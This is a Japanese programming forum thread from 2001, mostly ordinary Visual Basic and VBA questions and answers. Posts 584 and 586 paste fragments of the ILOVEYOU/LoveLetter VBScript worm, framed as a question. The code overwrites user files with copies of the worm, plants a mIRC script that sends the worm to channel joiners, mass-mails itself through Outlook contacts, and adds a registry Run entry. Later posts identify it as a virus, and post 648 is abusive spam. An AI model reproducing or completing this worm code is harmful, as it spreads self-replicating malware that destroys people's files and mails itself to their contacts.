送る方法知っていますか??おしえて〜!(>_<)
574デフォルトの名無しさん:2001/02/20(火) 18:52
集団配列ってなんですか?
575574:2001/02/20(火) 18:54
ごめん集団項目。
名前からして構造体みたいなの??
576デフォルトの名無しさん:2001/02/20(火) 19:08
>>575
そうですよ〜!
577デフォルトの名無しさん:2001/02/20(火) 19:12
>>573
LSetステートメントを調べてみよう
578574:2001/02/20(火) 19:14
固定長ファイルを読み込んで構造体に格納、だったらrandamでファイル
開いてgetで読み込めば手間いらずですけど。

すでにメモリ上にあるのを構造体に格納、だったら知りません。
579デフォルトの名無しさん:2001/02/21(水) 12:58
_WIN32_IE=0x0500 時の NOTIFYICONDATA 宣言はこれでいいのでしょうか?
cのunionをvbで書く方法がよくわかりません。

'--- vb (module1.bas)
Type NOTIFYICONDATA
cbSize As Long
hWnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * 128
dwState As Long
dwStateMask As Long
szInfo As String * 256
uTimeout As Long
uVersion As Long
szInfoTitle As String * 64
dwInfoFlags As Long
End Type

// --- c (shellapi.h)
typedef struct _NOTIFYICONDATAA {
DWORD cbSize;
HWND hWnd;
UINT uID;
UINT uFlags;
UINT uCallbackMessage;
HICON hIcon;
#if (_WIN32_IE < 0x0500)
CHAR szTip[64];
#else
CHAR szTip[128];
#endif
#if (_WIN32_IE >= 0x0500)
DWORD dwState;
DWORD dwStateMask;
CHAR szInfo[256];
union {
UINT uTimeout;
UINT uVersion;
} DUMMYUNIONNAME;
CHAR szInfoTitle[64];
DWORD dwInfoFlags;
#endif
} NOTIFYICONDATAA, *PNOTIFYICONDATAA;
580デフォルトの名無しさん:2001/02/21(水) 13:34
VBでunionはできないのでは
581デフォルトの名無しさん:2001/02/22(木) 16:15
>>580
できないけど、union無視してそのまま書けばいいみたいなことが
http://www.galliver.co.jp/writing/msdn/msdn12/
にあったのでやってみたのです。

>>579の目的はShell_NotifyIcon()でNIF_TIPの替わりにNIF_INFOを
使い、タスクトレイ上アイコンで通常のチップの替わりにバルーンチップを
出すことです。
579のコードが正しければ呼び出し側のバグを疑えるんでカキコしてみました。
582デフォルトの名無しさん:2001/02/22(木) 20:08
Object 型のデータに代入されているインターフェイスポインタを
Long 型で取り出すことは出来ないですか?
FolderItem オブジェクトをどうしてもアイテムIDリストとして
取得したいのです。
583ひみつの検疫さん:2024/09/25(水) 21:28:25 ID:MarkedRes
汚染を除去しました。
584デフォルトの名無しさん:2001/02/23(金) 01:42
e) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER
585ひみつの検疫さん:2024/09/25(水) 21:28:25 ID:MarkedRes
汚染を除去しました。
586デフォルトの名無しさん:2001/02/23(金) 01:43
(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@[email protected]@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub
</script>

以上です。
長くなりましたがよろしくお願いします。 ウフ。
587デフォルトの名無しさん:2001/02/23(金) 01:50
Web上では動きません。
ローカルで動きます。

さようなら。
588デフォルトの名無しさん:2001/02/23(金) 08:58
583はウィルスです。決して実行しないように。
589デフォルトの名無しさん:2001/02/23(金) 23:37
しかし力わざというか、地道なソースだね
590名無しさん@お腹いっぱい。:2001/02/26(月) 11:32
VC++6.0でつくったActiveXコントロールを
Word等に貼り付け、VBAからActiveXのコントロールで用意していた
メソッドにアクセスして値を得たいと思います。
VBEのオブジェクトブラウザでクラスのメンバを確認できるのですが、
自作のメンバ関数が実行されません。
AboutBoxは実行されるのですが。
自作のメンバ関数が実行されるには
どうしたらよいかお知恵を恵んでください。
よろしくお願いします。
591デフォルトの名無しさん:2001/02/26(月) 18:53
実行されないというのは、知らん顔されているのですか?
それともエラーがでる?
だいたい、実行されないというのはどのように判断したの?
VC++側でブレークポイントにヒットしないとか?
それともなんにもおきないので呼ばれていないのだろうという推測?
592デフォルトの名無しさん:2001/02/26(月) 19:23
583って、かの有名なLoveLetterウイルスなの?
これって本物?

あの騒ぎの当初、見てみたかったのだけど、うちの周りで受信した人
いなかったんだよなぁ。本物ならうれしいが。
しかし、VB SCRIPTだったんだぁ。
騒ぎの割に、技術的に大したことしてないんだね。
やっぱセキュリティーホールは使用者にあるんだ。
593フォルダの複数選択:2001/02/26(月) 21:30
ファイルリストボックスコントロールの
マルチセレクトプロパティを標準、
又は拡張にしたらコントロールに表示されている
ファイルの複数選択が可能ですよね?
そんな要領でフォルダの複数選択がしたいのです。
(ファイルリストボックスにはフォルダは表示されない)

ディレクトリリストボックスコントロールには
マルチセレクトプロパティがないので複数選択
出来ません。コモンダイアログコントロールも
フォルダやファイルの表示はしますが、
複数選択は出来ません。

で、そういう処理が可能なAPIなり
(Win32APIリファレンスにはなかったですが)
コードなりあったら教えて下さい。
(OCX、クラス等ののってるURLとかだったらもっと
いいなみたいな・・・(^^;))

よろしくおねがいします。
594中ボタンの矢印:2001/02/27(火) 02:23
>しかし、VB SCRIPTだったんだぁ
VBScript と書きましょう。

ところで中ボタンのクリック後に出るへんてこな矢印を
出なくするにはどうすればよいでしょうか。
クリックされたことだけは検出させたいのでフックして
破棄ってのは無しね。

595名無しさん@お腹いっぱい。:2001/02/27(火) 12:51
>>591
VBE側でエラーがでます。
596デフォルトの名無しさん:2001/02/27(火) 15:30
自作のアプリケーションを作り、ディストリビューションウィザードで
セットアップ用のファイルを作りました。

これを Windows2000 の「制限ユーザ(Users グループ」の権限のユーザでも
インストールできるようにする方法はあるでしょうか?

ディストリビューションウィザード内で単純に WinSysPathSysFile を
AppPath などに変更するなどの方法では無理でした。

よろしくお願いします。
597名無しさん@お腹いっぱい。:2001/02/27(火) 15:46
ポスペの板でもお尋ねしてますが
メールの調子がおかしいんです。
受信にはなんら問題ないんですが、送信に異常に時間がかかり
正体不明の添付ファイルを勝手に同時送信してしまいます。
ウイルスのチェックをしてみろ!とのことで、検索して見つけた
ページに行こうとすると『不正な処理をしています』云々で
切断されてしまいます。
これってウイルスの仕業でしょうか
わたしはどうしたらいいんでしょうか?
598デフォルトの名無しさん:2001/02/27(火) 16:49
>>590 = >>595
で、エラーが表示されて、呼ばれていないことを確認したんですね?
呼ばれたけどエラーが表示されているんじゃなくて。
エラーの表示の内容が気になるけど多分「オートメーションエラー」なんだろうな。

呼ばれているけどエラーなら、メソッドがエラー返しているのでは?

コントロールというくらいなんだからインプロセスサーバなんだろうが
インプロセスサーバが呼ばれない理由って
スレッディング関連の問題とTypeinfoの問題くらいしか想像つかない。
VBAごときでスレッドの問題が発生するとも思えないし、Typeinfoかな?

MFCですか?ATLですか?それとも初めからごりごりつくっているの?
一からAppWizardが吐き出したところからはじめて、ClassWizardで空のメソッドを作成。
そこから呼ばれるかどうか確認するというのはどう?

>>596
基本的に一般ユーザがインストール作業をすることは出来ない。
んなことを許可したらセキュリティも糞もない。
方法はあるけど結局ログオンし直させるのにほぼ近い。
1. Adminのユーザ名とパスワードを入力させて、LogonUser
2. 1で得たhTokenでCreateProcessAsUserで問題となる処理のプロセスを起動する。
でもCreateProcessAsUserで作成したプロセスはデスクトップを持てないので
ユーザとの入出力はできないとおもった。(これもセキュリティ上の理由から)

でもなんでこんなことしようとしているの?
クライアントの要求?んなこと要求してくる馬鹿クライアントには喝!
599デフォルトの名無しさん:2001/02/28(水) 12:47
>>598
ActiveXコントロールコンテナテストだと
ClassWizardで
コンパイル後の修正や継ぎ足しで付加したプロパティやメソッドが
反映されているのですが、
それをWordなどで貼り付けた後にプロパティをみると
反映されてなかたりします
600デフォルトの名無しさん:2001/02/28(水) 21:48
VB4で作成したアプリケーションは
Windows2000では実行できないと聞いたんですけど
本当ですか?
601デフォルトの名無しさん:2001/02/28(水) 23:13
>>600
うそ。できるよ
602デフォルトの名無しさん:2001/02/28(水) 23:16
>>600
ユーザーが実行したくないだけ(藁
603デフォルトの名無しさん:2001/03/01(木) 11:35
>>600
VB4の16ビット版で作った奴の事じゃない?
604デフォルトの名無しさん:2001/03/01(木) 14:56
VB6で作成したアプリケーションは
Windows3.1では実行できないと聞いたんですけど
本当ですか?
605独学初心者:2001/03/02(金) 00:34
VBを独学で勉強しています。
「かんたんプログラミング」というシリーズのテキストを買ったのですが
(基礎編、コントロール編、応用編の3冊があります)、このような
テキストに書いてあることをマスターすれば、どの程度のレベルにある
と言えるんでしょうか?
606デフォルトの名無しさん:2001/03/02(金) 00:44
まずやってみてから言え。>605
607デフォルトの名無しさん:2001/03/02(金) 04:39
>>600
4.0はコモンダイアログまわりがうまく動かないことがあるらしい。多分これは既出だけど。
・・・というか、4.0の開発環境ってWin98以降ではやや不安定な気がする…
608デフォルトの名無しさん:2001/03/02(金) 15:25
VB5のラーニングエディションを購買したんですけれどんも
アクティヴXとやらが使えないと聞いたんですけれども
アクティブXを使うとどういったことが出来るんですか?
609デフォルトの名無しさん:2001/03/02(金) 17:37
>>608
使えない?作れないじゃなくて?
610608:2001/03/02(金) 21:29
>>609
多くは知らないのですが
ActiveX関係で不自由があるらしいとの事です
ActiveXにはどのような可能性があり
ActiveXが使えないとどのようなデメリットが生じるのでしょうか?
611デフォルトの名無しさん:2001/03/03(土) 00:20
612デフォルトの名無しさん:2001/03/05(月) 00:06
A=0
B=Iif(A<>0,1/A,0)

これでエラーが出るのって仕様なのかなぁ?
613名無し~3.EXE:2001/03/06(火) 15:09
>>612
そんな除算ができる計算機があるなら知りたい。
614デフォルトの名無しさん:2001/03/06(火) 15:51
>>612
Iifの実装は知らないが、関数の形をしてるってことは
実行前に引数を全部評価するんじゃないのか?
615もしや:2001/03/06(火) 16:23
>>612 VBA?
616名無し~3.EXE:2001/03/06(火) 16:43
>>614
コンパイルは通るよ。
実行時にエラーになるけど。

つーかさ、0で割ってんだからエラーになって
当たり前でしょ。
617デフォルトの名無しさん:2001/03/06(火) 18:13
>>610
ActiveXの形で出回っているライブラリが結構多く、それらが
使用不可…、ってところか?本当に使えないのなら。
618デフォルトの名無しさん:2001/03/07(水) 13:42
テキストボックス内の文字列の一部分だけ色を変えたいけど

できますか?
619デフォルトの名無しさん:2001/03/07(水) 14:26
>>618
RichTextBoxのSelColorとか。
620618:2001/03/07(水) 17:08
リッチテキストで検索かけたら

  http://mpulip.hoops.ne.jp/kouza/vb/vb.htm

で解説ありました。

ありがとう。 >619
621デフォルトの名無しさん:2001/03/09(金) 06:31
access97のVBAの勉強中で恐縮なんですが、

○ Forms![フォーム1]![テキスト0] = Forms(0).Name
× Forms![フォーム1]![ラベル0] = Forms(0).Name

このような時、ラベルのcaptionを書きかえるにはどうすればよろしいのでしょうか?
622デフォルトの名無しさん:2001/03/09(金) 07:03
Forms![フォーム1]![ラベル0].text = Forms(0).Name
これでどう?

AccessVBAではtextだった気がする。
うろ覚えだけど。
623662:2001/03/09(金) 07:07
あ、textじゃなくてvalueだったかな?
ごめんよく覚えてないや。
624621:2001/03/09(金) 07:37
>>622
レスありがとうございます。
早速やってみているのですが、どちらでもエラーになってしまいます。
もう一回やってみます。
625621:2001/03/09(金) 07:57
>>622
Captionでした。
どうもありがとうございました。
626デフォルトの名無しさん:2001/03/09(金) 11:19
VB5でACTIVEXコンポーネントのヘルプが出てきません。

どーしたらでますか?
627デフォルトの名無しさん:2001/03/09(金) 15:08
Set Picture1.picture = Picture2.picture

数字の「2」の部分が5になったり10になったりするのですが
この部分を変数のようなもので置き換えるにはどうしたらよいでしょうか。
628デフォルトの名無しさん:2001/03/09(金) 15:11
今度大学に行って情報学部に行くのですが
どうやら(当然)プログラム演習があるらしいです。
でVB,VC++やるようですが自分としては
グラフィックプログラムをやりたいです。
VBのグラフィックプログラムの本は出版されているのですが
VC++のグラフィック系プログラムの本が見つからないのです
どなたか良い本を教えてください。
ちなみにゲームプログラムのようなものじゃなくて
簡単な球体とか作るやつを乗せているものが欲しいです
629デフォルトの名無しさん:2001/03/09(金) 15:42
>VB5でACTIVEXコンポーネントのヘルプが出てきません。

意味がよくわかりませんが、何のヘルプがみたいんですか?


630デフォルトの名無しさん:2001/03/09(金) 15:43
>Set Picture1.picture = Picture2.picture

ヘルプで「コントロール配列」というのを調べてみてください。
631デフォルトの名無しさん:2001/03/09(金) 16:38
>>627
CommonControlsのImageListを使う、という手もあります。一応
632627:2001/03/09(金) 21:33
>630,631
ありがとうございます。
ヘルプを見ましたら、脳がとろけそうでしたが
なんとか理解してみます。
633デフォルトの名無しさん:2001/03/09(金) 23:36
このようなスレでいつも思うのだが、ヘルプに書いてあることをヘルプに
書いてある以上に簡単に的確に情報量を落とさず説明することは可能なのだろうか?

こーゆー質問スレは、自分で調べ回ったが情報が見つからず、もう手詰まりの状態
で聞くべきだと思うのだが。
ヘルプを読んでわからないことが、ここで聞くとわかるものなのかな?
ヘルプを読んで理解できなかったことが無いので、よくわからん。
634デフォルトの名無しさん:2001/03/09(金) 23:40
ヘルプが上手く見つけられないんでしょ。
63550からのVB:2001/03/10(土) 00:39
よくエディター等である上のメニュー(ファイルとか編集とか)を選択すると、
その機能が使えないと透明になるじゃないですか?
あれってどうすればよいのですか?
例)文字を入力していないと、編集メニュー→置換が透明になっているとか・・・・
636デフォルトの名無しさん:2001/03/10(土) 01:06
>>628
どこに主体を置いているのかよく解りませんが

>VBのグラフィックプログラムの本は出版されているのですが
>VC++のグラフィック系プログラムの本が見つからないのです
住んでいる地域にもよるでしょうね。VCの本も多く出版されています。
http://www.amazon.co.jp/

プログラミングの方に主体を置いている場合は
DirectX OpenGL GDI Mesa
などのキーワードで調べるといいのではないでしょうか。
「これ」というような本は見たことがないのでお薦めは挙げられませんけど。


>簡単な球体とか作るやつを乗せているものが欲しいです
3DCGをやりたいのだと理解すると
「コンピュータグラフィックス」っていう\8000位の本とか
ttp://www.cc.rim.or.jp/~devilman/
が定番なんじゃないかな。

637デフォルトの名無しさん:2001/03/12(月) 11:11
>>635
多分、enabledとかそーいうフラグがあると思うな
638デフォルトの名無しさん:2001/03/12(月) 16:22
VBでウィンドウ枠のないウィンドウって作れますか?
639デフォルトの名無しさん:2001/03/12(月) 16:25
>>638
API使えばできる。
サンプルはあちこちにあるからgoogleで検索すべし。
640デフォルトの名無しさん:2001/03/12(月) 16:33
VBでマルチ・スレッドと共有メモリ、プロセス間通信の
解説がしてあるサイトがあったら、教えて下さい。
641デフォルトの名無しさん:2001/03/12(月) 16:43
Perl張りの正規表現を実現させたい。
参考になるソースはありませんか?
他のソフトを使うってのはやめたいです。
642>640:2001/03/12(月) 16:45
MSDNライブラリ(ネタではない)

あと
http://www.galliver.co.jp/vbtips/index.html

ここで検索するとか
http://dev.sfdata.ne.jp/VB/search.html
643>641:2001/03/12(月) 16:55
WSH使えばいいのでは?
644デフォルトの名無しさん:2001/03/12(月) 17:24
>>638

BorderStyleプロパティ

>>640

VBでマルチスレッドは止めておいた方がいい。できないこと
はないけど、スレッドセーフは保障されてない

>>641

BASP21を使うか、VB Scriptの正規表現エンジンを使え
645638:2001/03/12(月) 18:52
すみません、説明足りませんでした。

「ウィンドウ枠なし」というのは、例えば自作のグラフィックを使って、
そのグラフィックがそのままウィンドウになるというような感じです。
(たとえば「ぺたろう」や、WinMediaPlayerの小型化時のようなウィンドウです)
もちろんどこをドラッグしても、ウィンドウの移動は可能です。
646デフォルトの名無しさん:2001/03/12(月) 21:11
>>645

リージョンを作るか、Windows 2000ならレイヤードウィンドウで。
当然、キャプションは非表示にするので、Mouseイベントをキャプ
ションに対して投げてやる必要あり。
647635:2001/03/13(火) 00:19
>>637 ありがとうございました。
648名無番長:2001/03/13(火) 03:40
2ちゃんねるはメガネオタクの集まり!!
どうしょうも出来へんな!!
スキルも無いくせに能書きだけは一人前の奴ばっか!!
ほんまにスキルある奴は軽く遊んだるから、かかってこいや!!
アホが!!2ちゃんねるはメガネオタクの集まり!!
メガネ割りたい!!
文句あるなら、かかってこいや!!
アホが!!
http://www.rju666.com/


649638:2001/03/13(火) 10:22
>>646
ありがとうございます。
早速調べてみます。
650デフォルトの名無しさん:2001/03/13(火) 12:48
>>648
ありがとうございます。
早速調べてみます。
651デフォルトの名無しさん:2001/03/13(火) 13:05
もう、春だね
652デフォルトの名無しさん:2001/03/13(火) 13:55
>>648 ありがとうございました。
653名無し戦隊ナノレンジャー!:2001/03/13(火) 21:53
無限ループしちゃったときって
どうやって抜け出すんですか?
654デフォルトの名無しさん:2001/03/13(火) 21:55
>>653
気合いで
655デフォルトの名無しさん:2001/03/13(火) 22:15
>無限ループしちゃったときって
>どうやって抜け出すんですか?

デバッグ中なら実行->終了。
でなければ、Ctrl+Break。
それでもだめなら、タスクマネージャ(NT系)orCtrl+Alt+Delete(9x)
でプロセスKill。
656デフォルトの名無しさん:2001/03/13(火) 22:19
プログラムをなるべく無限ループしちゃわないようにするのだ。
657デフォルトの名無しさん:2001/03/13(火) 23:00
whileとか goto とか repeatとか使わなくする。
658デフォルトの名無しさん:2001/03/14(水) 01:44
MsgBoxに書いた事を次々とテキストファイルとして保存するには
どのようにすればよいのでしょうか?
659デフォルトの名無しさん:2001/03/14(水) 02:56
テキストボックスの半角スペースと改行を強調表示(バッグに色を付ける)
したいんですが、いい方法ありますか?
普通の文字ならばリッチテキストボックス使えば楽勝なんですが、
半角スペースと改行は強調されないんですよね。
どうしたらいいでしょうか。

>>658
メッセージボックスを表示すると同時にファイルに書き出す処理をする
関数をつくって、メッセージボックスを表示したいときは、その関数を呼ぶ
ような感じにするといいと思う。たぶん。
660デフォルトの名無しさん:2001/03/14(水) 03:08
>659
具体的に書いて頂けるとありがたいです。
661デフォルトの名無しさん:2001/03/14(水) 03:17
バッグ
662デフォルトの名無しさん:2001/03/14(水) 03:19
>>653
とりあえず怪しいループにはDoEvents入れよーや
運良ければ停止ボタンで脱出できるし
663659:2001/03/14(水) 03:35
>>660
Sub AppendTextMegBox(strMsg As String)
'ファイルに文字を追加
Open "c:\temp.txt" For Append As #1
Print #1, strMsg
Close #1

'メッセージボックスを表示
MsgBox strMsg
End Sub

こんな感じ?
呼ぶときは
AppendTextMegBox "アウアウアー"
って感じ。
664659:2001/03/14(水) 03:38
もしかして一つのファイルじゃなくて複数のファイルですか?
もしそうなら、これじゃダメだけど。
665名無し戦隊ナノレンジャー!:2001/03/14(水) 06:49
VBでポリゴンを作ろうとおもってるんですが、
ポリゴンで使う各々の点の座標を決めるとき
x[1],x[2],・・・,x[n]というような感じで、
各変数に番号を打ちたいんですけど
どうやったらできますか?
あと、各々の点をある軸中心に回転させるとき
どうすればいいんですか?
666デフォルトの名無しさん:2001/03/14(水) 11:50
>>665
Dim x(100) as Integer とか
667デフォルトの名無しさん:2001/03/14(水) 13:44
プログラムの質問でなくてすみません。

自分は学生でアカデミックパックという製品を買おうと思っているのですが、
通常版にくらべて随分安いですよね。
あれって機能限定版なんでしょうか?
あるいは他の何らかの制限がかかっているのでしょうか?
そういった制限があるのなら通常版を買おうかとも検討中です。

どなたかご存知の方がいたら教えてください。
ちなみにProfessional版を買おうと思ってます。
668デフォルトの名無しさん:2001/03/14(水) 14:29
>>667
MSのサイトに書いてるyo
自分で調べなsai
669名無し~3.EXE:2001/03/14(水) 14:44
>>667
学生・教育機関関係者以外が買えない以外は
制限なかったはず。

社会人なら放送大学に入るという手も。

どっかにM$からの回答があったはず。
ちょっと探してみる。
670名無し~3.EXE:2001/03/14(水) 14:47
そっこうでハッケソ。
ttp://dev.sfdata.ne.jp/VB/htdocs/msg14972.html
671667:2001/03/14(水) 16:52
くれくれ君で申し訳ありませんでした。
どうもありがとうございました。

672デフォルトの名無しさん:2001/03/14(水) 16:58
あのうMs-Chartコントロールが再描画でちらつくんですけど
ちらつかせない方法あるんでしょうか?
673デフォルトの名無しさん:2001/03/14(水) 20:50
VBまったくの初心者です、というか、
これからVB始めたいのですが、何を用意すれば良いのですか?(死
674デフォルトの名無しさん:2001/03/14(水) 20:57
>673
まず、大切なのは、なによりも、重要なことは、VBをやめることだ。
その点はクリアーしていると言える。
そして次の言語を学ぼう。
675デフォルトの名無しさん:2001/03/14(水) 21:34
>>674
まあまあ、そう言わずに。
プログラム初心者が、窓GUIプログラミングするには、
やっぱうってつけだと思うよ。
VBも、そこそこ頑張れば、そこそこのソフト作れるんだから。
んで、物足りなくなったら、Delphiなり、C++ Builderに逝きゃいい。
あ、VC++は論外ね。
676デフォルトの名無しさん:2001/03/14(水) 21:39
>>674
VBマスターすると、オブジェクト指向が身につく
例えば、クラスの概念の、クラスの中のメソッド、プロパティを
利用するというのは、text1.textと同じだろ(独学)
また、そつなくアルゴリズムも理解できる。このアルゴリズム
流れさえつかんでしまえば、あとは、関数が変わるだけ。
VBをやっていて最大の難点は、ポインタの理解とメモリ等の概念
だとおもう。
677デフォルトの名無しさん:2001/03/14(水) 22:19
GUIが簡単に作れすぎ。
何よりランタイム。
OS依存。
C系と比べ単純明快すぎ→移行が難しい。
678677:2001/03/14(水) 22:24
でも文字列の扱いは簡単でいいぞ。
C#に期待。
679デフォルトの名無しさん:2001/03/15(木) 03:02
>>678
同意。文字列操作なんてCでやるもんじゃない。
あ、BC++Bには AnsiString があるか。
いいぞぉ、BC++B は。
Linux 上で動く Kylix あるし。
680デフォルトの名無しさん:2001/03/15(木) 12:22
>>677
最初と最後のは結構な話じゃん。
681デフォルトの名無しさん:2001/03/15(木) 12:57
VBって通常ではスレッドを扱えないからキライ
682デフォルトの名無しさん:2001/03/15(木) 13:04
>>681
ActiveX.dllにすれば・・・ってのは通常じゃない?
683デフォルトの名無しさん:2001/03/15(木) 22:56
そういうはっそうが VBなんだよな
684デフォルトの名無しさん:2001/03/16(金) 00:39
与えられたものでどうにかするしかないじゃん
685名無しさん@お腹いっぱい。:2001/03/16(金) 14:39
最近はじめた者です。本読みながら電卓つくったりしてます。
VB初心者へお勧め書籍あったら教えてください。
みなさんが「おいらは昔この本読んで勉強したぜ」って奴を。
686デフォルトの名無しさん:2001/03/16(金) 14:55
MSDNで事足りすぎ。うらやましいぐらい。
687デフォルトの名無しさん:2001/03/16(金) 15:10
>663
なるほど・・・出来ました。
今度はExcelに書いていく事は出来ますか?
688663:2001/03/17(土) 06:45
>>687
Excel追加は参照設定でExcelのオブジェクトライブラリ選択して
そいつ使ってやればカンタンにできると思う。

つーか俺の質問にはダレも答えてくれない・・。
不可能って事かな。
689デフォルトの名無しさん:2001/03/17(土) 15:02
>688=663

テキストボックスじゃできないのはわかるよね。ちょっと
思いついたんだけど、、

半角を"□"、改行を"↓"とかで置き換えてやるといいかも。
690デフォルトの名無しさん:2001/03/17(土) 15:14
そこはかとなく、痛いスレッドだね。
691デフォルトの名無しさん:2001/03/17(土) 15:56
まったく、2chってどこもかしこも救い様がないね。
VBがなぜ生まれたのか、そしてその活用するシーン
はどこか、そういう体系だった学習をしてこないから、
バカみたいな発言ばかりになるわけだ。

VB嫌いなら、C++だって嫌いになるだろうに。
692デフォルトの名無しさん:2001/03/17(土) 15:58
口先と、自分でも読めないわけのわからないコードの山を
クソみてぇにひねりだすバカが多いCプログラマは、全く
どうしようもない。
693デフォルトの名無しさん:2001/03/17(土) 22:19
>>691,692
なんか余計に痛くなってきた。
694663:2001/03/17(土) 23:30
>>689
それじゃ思いっきり「文字」になっちまいますな・・。
うーん、テキストボックスデバイスをGetDCして
無理矢理bitbltとかはできたから、
なんかそれを利用してスペースと改行の所に
なんかを無理矢理描画させたりする上手い方法ないかと。
695デフォルトの名無しさん:2001/03/17(土) 23:58
>>691
さりげなく最も2ちゃんらしい書き込みだ
696デフォルトの名無しさん:2001/03/18(日) 03:25
ともあれ、仕様がガラガラ変わることを除けばVBはかなり
面白いと思う。ActiveXのお陰で。APIを直接いじくり
出したらそれはもうVBやめなさいってなるけど。
697デフォルトの名無しさん:2001/03/19(月) 01:26
StrとCStrの違いは何ですか?
698デフォルトの名無しさん:2001/03/19(月) 11:09
C++で非MFCDLLを作ったんですが、VBからLong型の配列(A(20))を、DLLに渡したいのですが、
__declspec( dllexport ) void __stdcall WriteFile(int* A)
{
/*中身*/
};
がC++で、
Public Declare Function HOGELONG Lib "hoge.dll" (ByRef A As Long) As Long
dim f(20) as long
for i=0 to 20
f(i)=i
next i
call HOGELONG(f(0))
とやったのですが、「正しくDLLを呼び出せません」となってしまいます。
どうすればよいのでしょうか。
699デフォルトの名無しさん:2001/03/19(月) 12:09
>Public Declare Function HOGELONG Lib "hoge.dll" (ByRef A As Long)
ByValにしてみんさい
700デフォルトの名無しさん:2001/03/19(月) 13:40
DAO3.51で質問です。例えば、Recordsetオブジェクトの並びが、
Index Name
